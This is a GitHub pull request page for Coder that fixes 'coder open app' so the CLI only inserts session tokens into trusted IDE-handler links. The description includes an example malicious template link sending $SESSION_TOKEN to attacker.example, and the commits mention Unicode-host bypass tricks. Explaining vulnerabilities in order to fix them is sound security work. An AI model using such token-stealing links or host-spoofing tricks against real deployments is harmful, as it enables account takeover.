Repository navigation
fix: only add the session token to trusted app links in coder open app - #31721
Draft
dylanhuff-at-coder wants to merge 6 commits into
Draft
dylanhuff-at-coder wants to merge 6 commits into
dylanhuff-at-coder wants to merge 6 commits into
Conversation
…en app coder open app substituted $SESSION_TOKEN into every external app URL on a top-level agent. It now applies the dashboard's trusted-link check: the link must open a known Coder IDE handler whose url param is this deployment, and the placeholder must be its token. Other links are printed with a warning and not opened. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…links Strip one leading ? before parsing params, like URLSearchParams, so a duplicate url can't hide behind it. Lowercase hosts as ASCII only and reject non-ASCII hosts, since Unicode folding mapped hosts such as codİng.com onto a trusted host that browsers resolve elsewhere. Narrow the docs: the dashboard leaves http and https links enabled without a token. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Split params on & only so a ; in another value no longer rejects a link the dashboard trusts, and compare ports numerically so :0443 matches the default port. Out-of-range ports are rejected. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This branch has not been deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
coder open appfilled in$SESSION_TOKENfor every external app defined in a template, wherever the link pointed. Since #31208 the dashboard only does that when the link opens a known Coder IDE handler and itsurlparam is this deployment, so a template app likevscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKENwas blocked in the dashboard but still got the token from the CLI.This ports the same check to the CLI. A link is trusted when its
urlmatches the URL the CLI is logged in to or the deployment's dashboard URL from build info. Links that fail the check are printed with a warning and not opened, the same way sub-agent apps with the placeholder already are. The Go check mirrorsisSessionTokenDestinationTrustedinsite/src/modules/apps/apps.tsand the unit tests reuse its cases. Params are parsed likeURLSearchParams, which is what the IDE extensions use. Where Go can't match the browser exactly, the CLI rejects the link instead: non-ASCII hosts (browsers map them through IDNA) and invalid percent escapes.Heads up that template apps the dashboard already blocks will now stop getting a token from
coder open apptoo. This also adds a short section to the template apps docs on when external app links get a session token, since that wasn't documented for the dashboard either.Follow-up to CORE-783: https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url
🤖 Generated with Claude Code